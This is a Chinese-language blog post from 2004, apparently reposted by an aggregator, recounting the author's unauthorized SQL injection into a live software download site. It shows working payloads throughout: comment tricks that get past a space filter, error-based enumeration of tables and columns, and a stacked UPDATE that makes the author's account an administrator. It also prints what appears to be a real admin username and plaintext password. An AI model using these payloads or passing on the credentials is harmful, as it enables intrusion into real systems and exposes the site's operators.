渗入某下载系统全过程
时间:2004-5-5
正在无聊时,一位网友发给我一条地址,说是被过滤了空格和一些特殊符号,看看能不能用SQL注入. http://soft.xxxx.net/SoftView.Asp?SoftID=850
可以看出是SQL服务器,再用最通用的语句来检测能否注入,即在后面加上: 没有正常返回,提示出错. 醒起网友说被过滤了空格,没问题,换成这样: /**/and/**/1=1 (把用/**/替换了空格) "select?xxx?from?xxx?where?softid=850?and?1=1" 后面的就是我加的,对原来的条件没有丝毫影响,所以页面会照常显示. 这句顺利通过,说明能注入的机会很大(但并不是百分百,我遇到限制长度的,制造假象,让你白忙半天,这将在下一篇说). 看看有没有简单的表名: and?(select?count(*)?from?[admin])>0 转换空格为 /**/and/**/(select/**/count(*)/**/from/**/[admin])>0 (下面没有说明的都是经过替换空格的,为了看着舒服,就保留了空格) 成功,证明有表admin 继续看看还有没其他简单的表名: 没通过,没有.. 回头看看刚才的admin表,看名字是应该记录管理员数据的,当然不能轻易放过 看看有多少条记录: 最后 晕,竟然有8个管理员 看看有没有简单字段: 返回出错信息: ---------------------- 聚合不应出现在?WHERE?子句中,除非该聚合位于?HAVING?子句或选择列表所包含的子查询中,并且要对其进行聚合的列是外部引用。? /SoftView.Asp,行?14 证明有username字段 看看第一个管理员的名字有多长: 11....算了,懒得再猜了,把所有表都暴出来吧.
先测试一下这句 and?(select?top?1?len(name)?from?sysobjects?where?xtype='u'?and?status>0)>1 变身,呵呵 /**/and/**/(select/**/top/**/1/**/len(name)/**/from/**/sysobjects/**/where/**/xtype=%27u%27/**/and/**/status>0)>1 (注意,这里不但替换掉了空格,还有'也要替换成%27,前面说了,这个站过滤了一些特殊符号,不替换语句会出错的.) 顺利执行,刚才这句只不过是试探能不能顺利执行的. 下面的才是正戏: 经典的一句: 这句得到期待的出错信息: -------------------------- 将?nvarchar?值?'a_cat'?转换为数据类型为?int?的列时发生语法错误。? /SoftView.Asp,行?14? 看,得到表名?a_cat 测试下是否有ID这个字段: 一般都会有的,看来太过通用可能有时也是种错,呵呵. 精彩的来了 最强的一句: 这是得到下一个表名,以此类推,每个表名都能找到它的下一个表名. 如此循环,得到所有表名如下: 统计下共有几个表,猜上瘾了,汗~~: 表都出来了,暴字段吧,活活
and?1=(select?top?1?col_name(object_id(%27admin%27),1)?from?admin) ----------------------------- 将?nvarchar?值?'admin_id'?转换为数据类型为?int?的列时发生语法错误。? /SoftView.Asp,行?14? 得到字段名:admin_id 同样 admin_id 直觉告诉还要再看看Admin_UserInfo的(其实俺的直觉还挺好的,呵呵) and?1=(select?top?1?col_name(object_id(%27Admin_UserInfo%27),1)?from?Admin_UserInfo) UserID
先从ADMIN表选一个号试试: and?1=(select?top?1?admin_name?from?admin) 得到:admin
用户名:freedom1980
密码:bishop62404 不能登陆,选另外一个表.(事后发觉该站可能是把两个站的数据表放到同一个数据库里了,所以才有两个管理员的数据表) 看看Admin_UserInfo and?1=(select?top?1?username?from?Admin_UserInfo) and?1=(select?top?1?PassWord?from?Admin_UserInfo) MD,可能加了密了 灵机一动, isAdmin=1 自己注册个新的用户先,俺习惯用"crazy". 注册了,不能登陆,说是被锁定了之类. 检查自己的isActive是什么值: isActive=0 也检查isAdmin是什么值: isAdmin=0 顺便看一下自己的密码: 果然是加了密. 还等什么提升自己的权力吧 %3Bupdate?Admin_UserInfo?set?isAdmin=1?where?UserName=%27crazy%27%3B-- (注:%3B?是用来替换;号的,?"--"这个是为了把后面的语句注释掉,MS?SQL就是爽!)
OK,进后台看看 管理员同志好像是: 替换他的密码,嘻嘻,我才没那么缺德呢. 查查看是什么下载系统: 检查是 搞掂,清理痕迹: 这次纯粹技术性渗入,没有破坏任何数据. 下次再说说怎样注入一个收费电影站. (编辑:拼字网 - 核心网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |